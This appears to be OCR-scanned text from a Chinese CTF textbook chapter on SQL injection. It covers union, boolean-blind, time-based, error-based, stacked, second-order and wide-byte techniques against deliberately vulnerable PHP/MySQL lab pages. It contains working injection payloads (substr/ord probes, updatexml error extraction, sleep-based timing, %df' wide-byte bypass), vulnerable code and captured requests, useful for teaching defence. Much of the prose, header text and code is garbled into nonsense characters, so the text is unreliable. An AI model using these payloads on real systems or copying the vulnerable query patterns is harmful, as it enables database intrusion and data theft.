Gser-hgent ! Mozilla/§.8 (Macintosh; Intel Mec 03 X 18.13; rvidd.@ Cont.

Gecko /10100101 Firefox/$3.0 Connsction: closs
Accepti text/html.application/xhtnlewnl application xml q=0.9,+/%;q=0.8 Content-Type: text html; charset=0Tr-8
Recept-Language: h-OM,3h;gs0.0,en-08;q%0.%, en;g=0.]

Aeeept -Eneoding: giip, deflate Dumbldbakian oom | Jebrr
Conmnection| elose
Upgrade- Insscurs-Requests: |

F4-19 FAUnionE \SREIE
4.1.5 UnionfEARES S
fEUnionfEATEF, FEFFARIGETSAD, EIDHHERISQLUEF, TEE
EPEE2HIDNMNNNE, Ao E—EER5SETNusernamefladdressigiHZ
E, BT 2EEESHERE N, FELFIBUniomEaEaE bR, RE
T

%Eﬁﬁ%%ﬁﬁ%"ﬁ%»mvns
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<?php
$con=mysqli_connect("localhost"”,"root","123456","test");
if (mysqli_connect_errno())
{
echo "¥#EHEAW: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where "id =".$id);
$row = mysqli_fetch_array($result);
echo $row['username'] . " : " . $row['address'];
echo "<br>";
E3

Lifialid=1 union select 1, 2, 38t, HTFHISQLERA:
select * from users where “id'=1 union select 1, 2, 3
HArSQLIEAI a5 Aselect*from users where'id =1#Junion select 1,
2, 3%, MBS "5EM (UnionEna) ol RIS HRERIEERE,
4.1.6 Boolean;E NI
Boolean;F NIZHAGMA bl : http://www.ccctfcn/boolean.php?id=1.
BlEnZMtES, TEREyes, A1E4-20f7r.

GEY /boolean.phpiid=l STTP 1.1 a WTTF/1.1 200 OF

fost www.coctf.on Date: Fri, 01 Dec 2017 16:05:100 Gy
Oser-Agent: Nozilla/$.0 (Macistosh; Intel Mac 08 X 10.12; rvi$).0) Server: Apache

Gecko/20100101 Tiretox/$3.0 X-Powered-By: PEP/5.6.30

Accept | text/htal,application/shtslexml,application/mel qe0 9,4/« qe0.0 Content-Length: 2

Accopt-Language: 3h-Cl,zh;qe0.0,en-05;q=0.5,0n;q%0.3 Connaction: close

Accept-Encoding: gsip, deflate Content-Type: text/htul; charset=0Tr-4
Connection: close

Opgrade-Insecure-Requeste: | you

B84-20 iAiElid =1 B PIEAGES
HURLEFI—MES|S, BRibRE, ZIREERHyesEMno, WE4-21
Ffr7se
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SET /Boolean.phprid=l BYTF/ 1.1 1
Bost: www. coetf.en

Dser-Agent: Mozilla/$.0 (Macintosh; Istel Mac O3 X 10.12; rviSd.e)

Gecko /20100101 Firefox/53.0

Acocept: text /himl,spplication/whtmlesml,application/smel;q=0.9,*/* q=0.8
Accept -Language: 3h-Cl,3hjq=0.0,en-08;q=0.5, en;q=0.1

Aecept-Encoding: guip, deflate

Cennsction: closs

Opgrade-Insscure-Requeste: |

WETP/1.1 100 OK

pate: Fri, 01 Dec 2007 16:05:00 Guy
Server: Apache

X-Powered-By: PAP/5.6.30
Content-Length: 2

Connscticn: closs

Content-Type: text/html; charsst=oTr-#

E4-21 iaEid=1 '"FHaEIER
Jfialid=1"and 1=1%23, id=1'and 1=2%23, AILREIIEESFIEyesi
no, EXIDANE, AIREIRUIARyesziZno, HILETHET, RERIKRElyesdkno,

> MiRBIREFIRETIIEIE, FrLUtsb Al ERUnioniE . AN LASEFIR

BooleaniT A\, Booleanit \EISHIESQLIIENES), BIEENEANRELEERIEN
BBELSQLAMTERAF RN, PAHGREVEERRIEHE. A INEEREZRKE,
B M.

"and length (database () ) >=1——+

BE5|S, IURETEGCRTR. 10ME EoIUEARHT, W' and
length (database () ) >=3——+#0' and length (database () ) >=4——
+, BATOIMEXEINES), AEMERENRELEE, ME4-22~ E4-24frr.

* BTTP/1.1 Y WTTR/L.1 200 o
Date: Fri, 01 Des 2017 16117126 Guv
Oser-Agent: Mozilla/$.0 (Macintosh; Intel ®as O X 10.12; rvi§1.0) Server: Apache
Geche/J0l00l0] refox/53.9

X-Powersd-By: PEP/S.6.30
sapplicat ion/xhtalemml, application xml iq=0.9,%/%;q=0.0 Content-Length: 3
H-CN, 2h;q=0. 0, 8n-05q=0. 5, 80 g=0.3
g2ip, deflate

Comasction: close
Content-Type: text himl; charset=oTr-4
Opgrade-Ine

re-Requeste: 1 you

E4-22 HFEIREESAHEE (1)

GET /Boolean.phplid=] sandslengthidatabass: )|==l--+ BTTF, 1.1
Bost: www.cootf.cn

BTTR/ 1.1 100 o
Date: Fri, 01 Dec 2017 14:17:24 GuY

5.0 (Mazinvosh; Intel Nae 05 X 10.11; rvi83.0)
53.0

cation/mhtelemml, application/ mel iqee. ¥, */* jq=0.0
O, zhjqe. B, en-08 q=. 5,00 qe0.)

Connection: close
Aecept -Encodin p. deflate

Conteat-Typs: tewt/html; charsstsorr-8

Upgrade-Insecure-Requeste: | Ton

E4-23 HEIREEERNEE (2)
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E4-24 HFEIREESIHEE (3)

RIERI AR SEERN, IRENEERyes; MSER4E, RENEE
Eno. BENEONERER, #EEEENRKERTET3, SR Ayes; KT5T4, &
Elano, HMHIETHEIREEREZIHKE 3.

B, EARFAHNIOIURDEIEERES. SIEEESIDE T~
z, 0~92ZW, AIEERE—ERTR, XBENFEARSANEG., BEFHHEmIsQL
EEIA:

" and substr (database () , 1) =t——+

substrE&EVNE=E, ,uudmmﬁﬁlldatabase O BE, NE—FEFF
&, BIRAREN.

substrifUFEERIImitAIE X5, A, imitEMNOFHAHER, MmXEEMN
1FRRE. ﬂLAEﬁHBurpEﬂﬁﬁﬁlﬂﬁuﬁﬁﬂFPEﬂ t' 18, ME4-25p7R, ZIAE
Bshit, mmiRElyes, EftENIREIN0, RItHIMEIREEZNE—(rAs, WE4-26
Fr7.

GRET /honlasn -mpr 1A=l " +tand+anhatr(dacahasa; ), 1,1 )= SR ==+ ATPR/1 .7
Anat: www ookt . on
User-Age E:.llla 5.0 (HMacintcsh: Intel Mac ©6 X 10.127 rv 53 c Go‘kc 20100101 Firefox/51.0

Accept: text/html,application/shtml+xml,application/wml;q=
Accept-Language: h=Ch,zh;qe0.8,en=-057q=0.5, en;qed. 3
hocept-Encoding: gsip, deflate

Connecticn. <lose

Upgrads-Insscurs-Requests: |

E4-25 FllEsubstrilBrEiRERNES
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| Request | Payload | Status | Error | Timeout | Length v €
14 s 200 O 0 (179 ]

0 200 () g 178

1 a 200 g (8] 178

2 v 200 O O 178

3 b 200 g a 178

4 aQ 200 a O 178

5 w 200 u u 178

6 e 200 8] o 178

7 r 200 o o 178

8 t 200 o O 178

9 y 200 0 O 178

10 u 200 g g 178

11 i 200 () Q 178

12 ° 200 0 O 178

1z n 200 £ 21 178

| Reauest |insspcnsssl
_[ml Headers I Hex |

8TTP/1.1 200 OFK

Date: Fri, 01l Dec 2017 16:33:33 GMT
Server: Apache

X-Powered-By: PHP/5.6.30
Content-Length: 3

Connection: close

Content-Type: text/html; charset=0TF-8

yes

E4-26 FFEBurplEHEIREES
HORa] LAERASCIRBBIF it 7=, sRIASCIEEE115, m{EMySQL
B, ASCIIEEHRIRE Hord, MEFRFIRRISQLESINESU FFH7R.
"and ord (substr (database () , 1, 1) ) =115——+
LRUNEA-27f7r, IREINEEEyes.
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GET /boolean.phplid=] sand+lengthiaatabass| || ~=d--+ STTF/1.1 ry WERP/1.1 200 OF

Wost: www.cootl .on Date: Fri, 01 Dec 2017 16:20:55 Guv
Dser-Agent: Mozilla/S.0 (Macintosh; Iatel Mac O X 10.12; rvi$3.0) Sarver: Apache

Cocko /20100101 Firefom/$3.0 K-Powersd-By: PEP/§.4.30

hocept: text /N
Accept -Langueg
hecept -Enco
Conmwstioni closs

Opgrade-Insecure-Requests: | e

plication/xhtelsaml, application/xel;qe0.9,+/%;q%0.8 Content-Lengthi 2
~CN, 2h;qe0. 8, en-08 ;0. 5, 801 q%0.3 Conmsction: closs
guip, deflate Content-Type: text/htsl; charset=ovr-§

E4-27 FlFHordHIEIRERS
MUnionfEAFEAIESHE, HEFESE sql', AILFIME _VFHERE
q, AJLMERLI™MES.
"and substr (database () , 2, 1) ='q——+
ZERNE4-28F7, IREIIERERyes.

GET /boclean.phpfid=l vand+length(database( )| =4--+ BTTF/ 1.1 X BYYP/i.1 208 OF

Bost: www.cootf .on Date: Fri, 01 Dec 2017 16:20:58 cuy
Oser-Agent: Mozilla/$.0 (Macintosh; Intel Mac 05 X 10.13; rvi83.0) Server: Apache

Gecko/ 20100101 Firefox/83.0 K-Powered-by: PAF/S.4.30

Accept: text/htsl,application/shtmlessl, application / mel qe0.9,+/ % q=0.8 Contant-Langth: I

Aecept-Language: =h-Cil,shyqed.8, en-00;qe0. 5, enjges.] Commsction: closs

Acoept-Encoding: guip, deflate Comtent-Type: text/htal; charsst=orr-8
Comnection: closs

Upgrade-Insscurs-Requests: | "

E4-28 FlHsubstrilEiRERES
HiaEL., FREMEGBN¥NLEdatabase () BIE, MUnionEA
EBEMERIEE sql! HNE—EZEemails, F— 1" FRNYEe, HMNETU N

e

mﬁﬁwmﬁmW"mﬁ»mvosg

‘and substr ( (select table name from information_schema.tables

+

~yun Where table schema='sgl' limit 0, 1) , 1, 1) ='¢

FEEINE4-29F 7, BAINEICEIEHRR, i, ol EngHran
E=E5FEBE.

3

Baulaan. phg?idn]’ sanbranbatr! | be Shie_semustrentinfornation sebone
tablesreherestable_schenss ' egl 1 eTTRL.

Woati www . seett

Teer-hgent | Mou ntosh; Int e 08 X 10.12) rvild.0)

Gecke /20100101 efon/51.0 see
Accept | text/hu -ppl:ccunn xhtmlsmml -pp fontion nl g0 9,5 " pque. 0 Content-Type! tet/html; charset=gTr-§
Accept-Language: Th-CW,shiq=0.8,en-05;9=0.5,en;q=

Accept-Encoding: giip, deflate Tes

sanection: closs

Sparade-lnsecure-Requests: |

E4-29 FlFHsubstriEiRERES
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4.1.7 BooleaniE AR T
fEBooleaniF A\ TNEIFIEF/EABGETS#D, @idpreg match¥iE+SE
&fFftunion/sleep/benchmarkEBINF5. ARE2ENDHHERISQLER), MR
ERER, MREER, MiRElyes, ENiREINo, HipEhZamet, RiSiRIESURE
HiaERRAyesTino, MARBEIEEFIHTHEEIE, ATLIRE ERSBRyess
no, fSEEAN R,

<?php
$con=mysqli_connect("localhost™,"root", "123456", "test");
if (mysgli_connect_errno())
{
echo "HEHE KW : " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");

}
$result = mysqli_query($con,"select * from users where “id ='".$id.""'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");

HifElid="1'or 1=1%230Y, FPEEHITANHERI Hselect*from users
where’id’="1" or 1=1#, BT or 1=12KEFHE, LUK TNESESREyes. 24
ihialid=1"'and 1=2%230%, FEEEHNITHNER SIselect*from users
where’id’="1"and 1=2#, HFand '1'="2" EXKEFEH, FrLAKNTESESIRME
no.

4.1.8 WEEFNE
RS ABEER L http://www.ccctfen/sql/errorphp?



—-o%ﬂﬁﬁ%ﬁ;ﬁﬁﬁ%" TEBW oo = }-—

username=1.

B5oiAalhttp://www.ccctf.en/sqgl/errorphp?username=1', EAZE]
usernamefH{EE1", fEEUBEFHITSQLE, £EAZ T — MRS | SmikeE, HBHE
REAIEEEANE4-30F7T

El4-30 ARlid=1"HNuEESER
BUNEREERIEY, EREREERERnHE YA L, Lutkht
BILAHI RS NGARER. REINEZMIEN, IR updatexml () &
TSQLEAFKHuser () BHE, SQUESM M.
"and updatexml (1, concat (0x7e, (selectuser () ) , 0x7e) , 1)

+

Hrhox7e 2ASCIIRES, EIBEREN ~, WE4-31F .

E4-31 FlFBupdatexmlE®Eluser ()
R REEEIRERES, NE4-32Fn, B0 R,
"and updatexml (1, concat (0x7e, (select database () ) ,
0x7e) , 1)

+



Ve

IPATE systax srreri -sql-

E4-32 FlFHupdatexmlzEidatabase ()

l AL AselectiB AR EBRNEURFETRES . FE2NFRE, FEEg

“"."" SUnionF\RUERE. EAREFIANRB~FER, LUEEFEAImtES. WiE
e B0 MR,

gtz': "and updatexml (1, concat (0x7e, (select schema name from

4 information schema.schemata [imit 0, 1) , 0x7e) , 1) +

= CERINE4-33F7R, BILBREEIRRERIES.

& 7

=

F PRSP

ﬁ .::-

s

4

E E4-33 FIRRET ) GESIREES

'\T/\ WE4-34f=, WiEERESANES, W R, SJLEREE IR EtestlZ
A.

‘and updatexml (1, concat (0x7e, (selecttable name from

information_schema.tables where table schema="test' mit0, 1) , Ox7e) ,

1)

+
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*1q=0.8

al sestes 1
Cache-Controls max-sge=0

E4-34 FIFRES T REIREES
4.1.9 IREFNRBST

EREI N TTESR, EFFEGETE2% usernamefs, EusernamefHEsl
SQUEAH, REREIEESR. MENTAY, ok, MELE, NEidecho
mysqli_error ($con) IHEREEHEHEITE (mysqli_errorik[E] F—1MySQLEAE]
AUEEIR) |, RS0 R,

<?php
$con=mysqli_connect("localhost","root","123456", "test");
if (mysgqli_connect_errno())
{

echo “HE4E%M: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where
“username’ ="".$username.""")){

echo "ok";
telse{

echo mysqli_error($con);

}

>

i Ausername=1" BT, SQLiEA]Hselect*from users
where'username’="1", #i{78, SFEAZ 7T E5|SMmikiE. FBXGERE

B, BAEILUEIdfloor () . updatexml () SREFGEEFNRSEHIITEL.
4.2 SQLFENEHRY
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421 BEFEANRE

FHBEEE ARG ML : http://cectf.en/sql/time/time.php?id=1.

BEhZMiteS, ERElyes, ERMUAIEEINE—MASIS, BRAE, |
EiREno. XMEESBooleaniEAIEFIRIL, AN BIBEXIPERETAISIH
—MEANFEF—HAEE. ©5Booleani I NIIABEZAMET, HHEEAZRIF
sleep () Hibenchmark () FFEEHEMySQLAIH/TATEIE. HEET5SIF
(expr1, expr2, expr3) &&{EH, ILIAEUEVYE: WEexpr12TRUE, MIF ()
FIREHE Hexpr2; BNHREHENHexpr3. FrllHMEiREEZ KENEGIN A :

if (length (database () ) >1, sleep (5) , 1)

FEXMEANERE, MRHIEFEEZIKELT1, NMySQLEEREES
i, BNE1.

MEFIRER, AORE/H=0, RIEBuvp Suiteth IERIIEMNETE), =]
VISR B A1, SRE4-35/7R.
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o s | WEF/I.T 200 o Y

/egl/time/time.phplide]l +and+if | length(database() >l , sles P Server: nginx/l1.8.1 3

pi%),1)--+ NTPF/1.1 Date: Moo, 04 Dec 2817 09139112 Gwr

Noat: coetf.on Content-Type! text/htal; charsets=uvrr-8

Yser-Agent: Mozilla/s.0 (Macintosh; latel Mac 08 X Connection: keep-alive

10,123 rv133.0) Gecko/20100101 Firefox/53.0 vary: Accept-Encodisg

Acceptt X-Powared-By: PEP/S5.6.30

text/htal,application/xhenlexnl, application/xal;qed. 9,4/ Content-Length 30

1q=0.8

Accept-Language: zh-CN,zhiq=0.9,en-08:q=0.5,enjqe0.2 <hrm><body>mo</body></htal>

Accept-Encoding: guip, deflate

Conneotion: keep-alive

Upgrade-Insecure-Requestal |
- .
. .

< | . » O matt hev ! 2 - . »
Done 240 bytes | 5267 mal,

B4-35 FIBRTEIS EhiTsleep ()
oILAEH, TENEAEEES267E, BiRE5.267F, REREATIHUT
Tsleep (5) , FLMREEATIN, HI=GHINEIEEES KEEGPIHKER
7910, EERUNEA4-36R.
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oY
/ogl/eime/time. phptidel sands Lt length(database())>10,0le
$).0)==s WITP/1.1

e
oIS

s
+ Merilless.0 (Masintosh; Intel Mae O X
9) Cecko/2010010) Pirefox/3).0

=1, application/xmlqed.0,¢/*

~Language: th-CN,1hiqed.d en-081q=0.5, en1qw0.2
Encodings grip, deflate
.

0 matches

fr

E4-36 R FERIES FhiTselect 1
s[LAEH, HTHIBIIELZE0.404%), RIARERAH Tsleep (5) , MEHIT
Tselect 1, FIUEIRENEZKEAT10EEEN. BUZE, oI 5RE0E
FEEZRKE. SHEEEFEFEEKER, BRITTEEEEEFEENE—(FE. Fi
128)iRBoolean S HHIZE, EfsubstriREy, XEIANEGIRAER:
if (substr (database () , 1, 1) ='s', sleep (5) , 1)
LERANE4-37 7.
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0 matches

IR

E4-37 FEr A HREES
B[LVEH, BFER T SHAIRE], RESEEEENE TS, ik
HERI R EHRSIRENER. 8. FRENERE.
4.2.2 BHEFEARIZSHT
ARtEEETE A ATET, EFRBGET24(ID, @idpreg match¥#|#r244ID

BHEIUEEH SEH e = 3,._

NN

| FEAFEUnonBIRTH, AEHLEIDHERISQUEA . MNEIEETEIASQLE
I ), MEELEER, MiREyes, BNRENo. MiENZRER, KIRIESIEEE AL
HiRElyessino, MAREIFIRESFIHEEEGE, FrLARE ERS8ryesdino,
Boolean EANFREMNE, abigHidiEsleepEFET, K3 M.
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<?php
$con=mysqli_connect("localhost”,"root",6"123456","test");
if (mysqli_connect_errno())
{
echo "FEfEAM: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union/i", $id)) {
exit("<htm><body>noc</body></html>");

}
$result = mysqli_query($con,"select * from users where “id ='".%$id.""'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("<htm><body>yes</body></html>");
}else{
exit("<htm><body>no</body></html>");

HAMAZA BT LA FBoolean SIS E T N\ ik, TEABIEEENER. HifiE
id=1"and if (ord (substring (user () , 1, 1) ) =114, sleep (3) , 1) %23
BY, HiTRISQLEAA:

select * from users where “id’="1" and if (ord (substring (user () ,

1, 1) ) =114, sleep (3) , 1) %23
BT user () Aroot, rootE—1FH E’]ASCII‘[E,:EHAL FrlASQLEA]

TRif &AL, HhiTsleep (3) , Ez:iiﬁﬁss BT XMEER AR HIRTSQLIE AR,
TSR,
423 HEEEFT AT

SEFENILEINNS L http://www.ccctfen/dd.php?id=1.
HEEIERLNTESAET, SiEaZESSEF. HEEETARENRA

XMER, AR SQUETTEIERCENTINES. B55AEId=1", TUEmkE



MySQLSIR, Binlalid=1'%23, MEREIEEESE. XEaJLlFEHABooleaniEAN.
BEEN, tEafLMERSI IR —EEE.
SEANNEGA:
select if (substr (user () , 1, 1) =T', sleep (3) , 1) %23
MHEEFNEGFIESR, £5KSQLESF) (select if (substr (user
0,1, 1) =7, sleep (3) , 1) %23) HEMBEFINEG, HUTEFENE4S-38

L B
[V a W]

W

e

b

7 :

= s

B

Bi

&

=

|

it

sC L

i TV

m \ =
f\zﬁw E14-38 FIFHEST) AR

T EERUENER SRR, BEAENEEEAES, 2L
BRENHEENES. ®E. FTRENEHRME. NTATER, RoILEREEE
R

'select if (substr ( (select table name from
information_schema.tables where table schema=database () limit0, 1) ,
1, 1) ='¢e', sleep (3) , 1) %23

ERUNE4-39F 7.
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14-39 RIS RIES
4.2 4 HETEFT NGBS
EHEIRED, EFANGETEED, FRPDONAIHTEIEE, 8
HERE 2 DHHERIEIRES, SHPDORREITREIIE, ERAAFESQUEA
R, KRBT



—-%Eﬁﬁ%ﬁ;ﬁﬁﬁ%" TEBW oo = }-—

<?php
try {
$conn = new PDO("mysql:host=localhost;dbname=test", "root", "123456");
$conn->setAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->query("SELECT * FROM users where “id" = '" . $_GET['id'] . "'");
$result = $stmt->setFetchMode(PDO: : FETCH_ASSOC);
foreach($stmt->fetchAll() as $k=>$v) {
foreach ($v as $key => $value) {
echo $value;
}

}
$dsn = null;
}
catch(PDOException $e)
{
echo "error”;
}
$conn = null;
1)

fEFAPDOHYTSQLIEAIRT, RILMWTZIER, NEXEEEAEEIREEEN
8, WAPDORSIRAIE—SLSQUEAINATIER, FRLMEE —Sa0+rILIA
update EIEESE EARBEHRAEEIR. 7i0dd.php?id=1";select if (ord

(substring (user () , 1, 1) ) =114, sleep (3) , 1) ;%230, HTAISQLE
a79:

SELECT * FROM users where “id'="1";select if (ord (substring (user

0,1, 1)) =114, sleep (3) , 1) #

IESQLEAS A THSE, F—455SELECT*FROM users where'id™='1" E{¢
B8 CHselect®ia), moselect if (ord (substring (user () , 1, 1) ) =114,
sleep (3) , 1) #NEFHAJDENRTEISFANED.

4.25 TRFENKE
TRENBGERTGS hhE: http://www.ccctfen/er/1.php?username=test
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Fhttp://www.ccctf.cn/er/2.php?id=10. Hr, 1.phpmREAIHEER MBS, b
ERRASQLEARS; 2. phpREAIhEEREIT24 DS B 2RI ER.
$—5, AA1.php?username=test’, WIE4-40F 7.

GEY Jer/I.phpiusername=tast’ WITH/1.1 ry WFTP/1.1 J00 oK
Host: www.ccctf.on Date: Wed, 06 Dec 2017 0§:110:22 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O3S X Server: Apache

10.12; rve53.0) Cecko/20100101 Pirefox/51.0 X-Powered-By: PHP/%.6.30
ept: Content-Length: 14
tal,application/xhtal+xml, application/xnl;qge=0.9, 4/ Foe live: timeout=5, max=100
tion: EKeep-Alive
ept -Language: th-CN,zhiq=0.8,en-U8:q=0.5,en3q=0.3 Content-Type: text/htal; charset=UTF-§
cept-Encoding: gzip, deflate
ttpi/ fvww.coonf.on/er/ W id 5 1
onnection: kesp-alive
Upgrade- Insecure-Requests: 1

El4-40 HAFRStest’
WREREE R E R Stest SRKIDH21, WiF2.php?id=21, %
FUNE4-41Ff7m.

SEY Jer/i.phptid=11 WFTF/1.1
Hosta

T

vTr-
Tou bave as error i your SQL systax; check the maswal
that corres) mds to your WySOL server versics for the

pe
right systas te use ssar ' test at lise |

E4-41 ipEtest BUEE
MIREIE R ARRIRSHIRE Y MySQLAYEIR (27— 185|535 EANE
y HEEIR) |, XEIEIFE—5, S6iia)1.php?username=test’order by 1%23, JKEI—
MNRNId=32, H¥ERIAR2.php?id=3204, TERAIZH; BX=ER, 5E1.php?
username=test’ order by 10%23, 3REN—7#f0id=33, HFEiAA2.php?id=33
B, MEIREREZEE (Unknown column'10'in‘order clause’) , 41E4-42F7.
XRBEHRARZEFRE, BOANN=E, SEAMLEIRERP—H531F
EZ. Alal1.php?username=test'union select 1, 2, 3%23, FKE—13fid=39, B
Whial2.php?id=39, AITUEIRME T union selecthAI2FN3F7EE, EEUNE4-43F
e
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% | FF#/1.1 200 o

«php 3
Host: www.ccotf.on Date: Wed, 06 Dec 2017 0F:23:56 oMy
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O5 X Berver: Apache
10.12; rvi5).0) Cecko/20100101 Pirefox/53.0 X-Povered-By: PHP/S5.6.30
hccept: Content-Length: 37
text/html ,application/xhtalexml,application/xnliqe0.9,%/* Feep-Alive: timeout=5, max=100
1q=0.8 Connection: Keep-Alive
Accept-Language: zh-CN,zh;qe0.8,en-05;9=0.5,en1q+0.3 Content-Type: text/htal; charset=uTr-4
Accept-Encoding: gzip, deflate
Reforer: httpe//www,.ccctf.onfer/ Uaknowa columa '10° is ‘order clause’

‘qurm-lnncux

BE4-42 i5iEorder by 108958

.
VI s 7er7a b siasyy WERTILT T | WL 300 OF
Host: www.ccctf.cn Date: Wed, 06 Dec 2017 0F130:43 oNv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X Server: Apache
10.12; rv153.0) Gecko/20100101 FPirefox/53.0 X-Powvered-By: PHP/S5.6.30
Accept: Content -Length: $
text/htal,application/xhtml+exnl, application/xnl;q=0.5,%/* Keep-Alive: timecut=5, max~100
iqe0.9 Connection: Eeep-Alive
Accept-Language: zh-CN,zhiq=0.8,en-05;q=0.%,en;q9=0.2 Content-Type: text/htal; charset=uTF-8
Accept-Encoding: gzip, deflate
Referers httpir//www,coctf.cn/er/ 242

Connection: keep-alive
Upgrade-Insecure-Requests: 1

E4-43 FEUnionZEgEE
E2E3MINIE, AFAINNGESD, thaninia).php?id=test'union select 1,
user () , 3%23, KEHMid=40, FEiHA2.php?id=40, BFjuser () HNEE, W
BEl4-44ff7r, ERIGES eI REEIRE R RIEIE.

gmmﬁmmamm"aﬁwmraa

GET /er/1.php?id=40 WTTP/1.1 > WrTP/1.1 200 OF

Host: wwv.ccctf.on Date: Wed, 06 Dec 2017 09133127 oMy
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X Server: Apache

10.12; rvi53.0) Gecko/20100101 Pirefox/53.0 X-Powered-By: PHP/5.6.30

Accepts Content-Length: 18
text/htal,application/xhtaléexnl application/xnl;q=0.9,%/+ Keep-Alive: tiseout=S5, max«=100

1q=0.8 Connection: Keep-Alive
Accept-Language: zh-CN,zhiq=0.8,en-US;q=0.5,en19~0.3 Content-Type: text/htaml; charset=UTFr-8
Accept-Encoding: gzip, deflate

Referer: httpir//www.ccctf.en/er/ rootflocalbost 1 J

Connection: keep-alive
Upgrade-Insecure-Requests: 1

E4-44 FIB DR ENGFEEIR
4.2.6 TIRENRBSH
TRENF . phplRERIAEBA N, T 7 BENEFEMMIEE, 2K
HZIGET2% usernamef12#password, AfSiFusernameflpassword#HZFISQL
1E4), FAinsertBAAANEIEES. A TF2HusernameflFEaddslashesif TN
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(BN TE5|S, SME5IShAAG) . E4lpasswordit{T rMD5E#, ARLULAR
AFESQLENTFR.

<?php
$con=mysqli_connect("localhost”,"root", “root”,"sql");

if (mysqli_connect_errno())
{
echo "HE{EAML: " . mysqli_connect_error();

}

$username = $_GET['username’];

$password = $_GET[ 'password’];

$result = mysqli_query($con,"insert into users( username’, password ) values
('".addslashes($username)."","" .md5($password)."')");

echo "I id J: " . mysqli_insert_id($con);
25

Lifalusername=test'&password=1234560%, H TAISQLIERIS:
insert into users (‘username’, ‘password’) values ('test
'e10adc3949ba59abbe56e057f20f883¢") .
ME4-A5HREIEERLIER), mMARIBRERtest.

=

username password email address
admin el10adc3949ba59abbe56e057f20f883e 1@1.com 123123
test’ e10adc3949ba59abbe56e057f20f883e
El4-45 RN\ FEURERRETR
FERENF, 2.phph RIS AR, BERGET2ZIDEMINEER (B
IHHHERISQLETIN, FESQUENRR) , MnFluserszRhiREDXIAAY
username, EEH|personEhE AusernameXIMAIEIE.
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<?php
$con=mysqli_connect("localhost"”,"root","123456", "test");
if (mysqli_connect_errno())
{

echo "#{E%M: " . mysqli_connect_error();
}
$id = intval($_GET['id']);
$result = mysqli_query($con,"select * from users where “id =", $id);
$row = mysqli_fetch_array($result);
$username = $row[ 'username’];
$result2 = mysqli_query($con,”select * from person where
“username’ ='".$username."'");
if($row2 = mysqli_fetch_array($result2)){

echo $row2[ username'] . " : " . $row2[ 'money'];

}else{
echo mysqgli_error($con);

?>

BRIANSE N $usernameift T3 Y, EE—SHRATEHNAFAZE
test’, IKATHATRISQLIERIA:

select * from person where ‘username’='"test"

B5|SHHmASQLEAT, BTE T 18515, fARE=RE.

427 BFHENKE

BT EANBGERIA I http://www.ccctf.en/kzj.php?id=1.

plElid=1", NERNRESRINEL-46f R, BFTRERE, k7 —
BMA (A .
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E4-46 25| SN
MWEREIREEIAEH, 24id=11EiREE IR 2S5 | SaRn. HE
it Nid=1" B, EARNESISEENS (RAKR) BY, SEBHIDLIbERS|S
KEE, FE—RERT, HEEREESQUENERN. RdE—M56, MEN
HIEENRISAGBKE, BIMERRFIEAN, BFPREXEEbhEen—
N%df, BINE5|S, FRARAMIAMIZA%5c, MIEGBKRISTF, %df%5cEEK
F &, FAXES, S5|SETbE, RHEMySQLEIREEIR, ME4-47F .

E4-47 ABEEFHhERs | SHaE
BT@ANSHId=1", SHSQLUEAZ T N85S, FAEEERTRS
EBIBEFESNEE|E, Haid=1%df %23, REERENERNEL-48FTR, Bl
| B3, SQUEAEAGAELIT.

%ﬂﬁﬁ%ﬂﬁﬁ%"ﬂ%%ﬁvo-

+ woae

E4-48 FBEFESIERS S
fEand 1=1%land 1=2{—5#IBBEN, HElid=1%df'and 1=1%23%0
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Www. glanani. com
id=1%df'and 1=2%23, IREEEEAE4-49F1E4-50F 7.

T AU A O D LA R R

Soat | www.coett en Seter Sar, 83 Bor 2017 15100100 GHY

Sosr-Agests Menilla’s O (Nacintesh; Iatel Mee OF X I0.13) rvisd.e) Server: Apas

Secha/ 10100101 Fireton/s).0 2 Povesed- ly par/e.e. 0

Actept Gonaeriant &

vowt /htnl, applicetion whtaloml, appiient ion/ml1end 9, o/ 1od.0 Contont-Type: towt/Mal) sharsetssvr-4

Accopt-Languege: th-CN,zh;qed. 0, en-35,q%0.5, enige0.) Content -Length: 104

hosoph-Saseding: guip, Setiate

Comnact clow ot 4

-p.nm-x--e-u-t-q-..u- ] '--q nnq A% | BELECT ¢ PRON wawes WRERE Lde 06N sed
tirs

BE4-49 15Elid=1%df'and 1=1%23RTNERIER

TET RT3 phe A TRAT caedeT= IR TT WRRPTLT % | TERTT e o
eeat sat 3 Gee 01T 1804184 GY

vun/s.6.30

Content-Trpe: un Numly Shaceer=9Tr-4
Content-Longthi )

P ot
'.u-yun.n T OSELECT ¢ PROM wrers WRERE (e A0 aed
Peteet g

E4-50 iiElid=1%df'and 1=2%23R NEMER
Hand 1=1EFREESR, and 1=22FREKER, FILFIENZ281D7F
ESQUENRR, E&EHorder byERFURELRNTFREE, BRENTREUS,
WNE4-51F7r.

T | TR e

. ate: Sat. 87 Gee 2011 10107/08 @ny
oor= 0. Gor e -
- K-Pawered-Bys PHP/E.6.0

copt | e on i close

wat Wl appl 0L ol AP EAT o (400, gl Contant-Trye: tewt/Miali ehareetsOrr .4
Mocopt -Language s Sh-O0, oh/go0 . B, 00-00 1400 5, aniget .3 Comtont-Langths 167
Actnpt-Emesding: grip, deflete
Coanectisni oises et | bune
Cparade- lnsscvre Beguestes | ---vnu.‘ | BELECE ¢ PRGN waees WRERE Lée 100 ander by

I Lo e i

B4-51 SRESUREENFE
RAREEIZES R 7 FIEETHNRE, FrLARILMERUnionE . SUnioni:

AN—FE, IR UniomEG Eunion select 1, 2, 3, A7 EREIREIUnionEgN%E

2, SEIEIDIERCIREL, SRNE4-52F 7.

S Iy e e p e T ry
.

§ (Rasintash; Tatel Mes 08 & ER.03) evidd.e)
"’

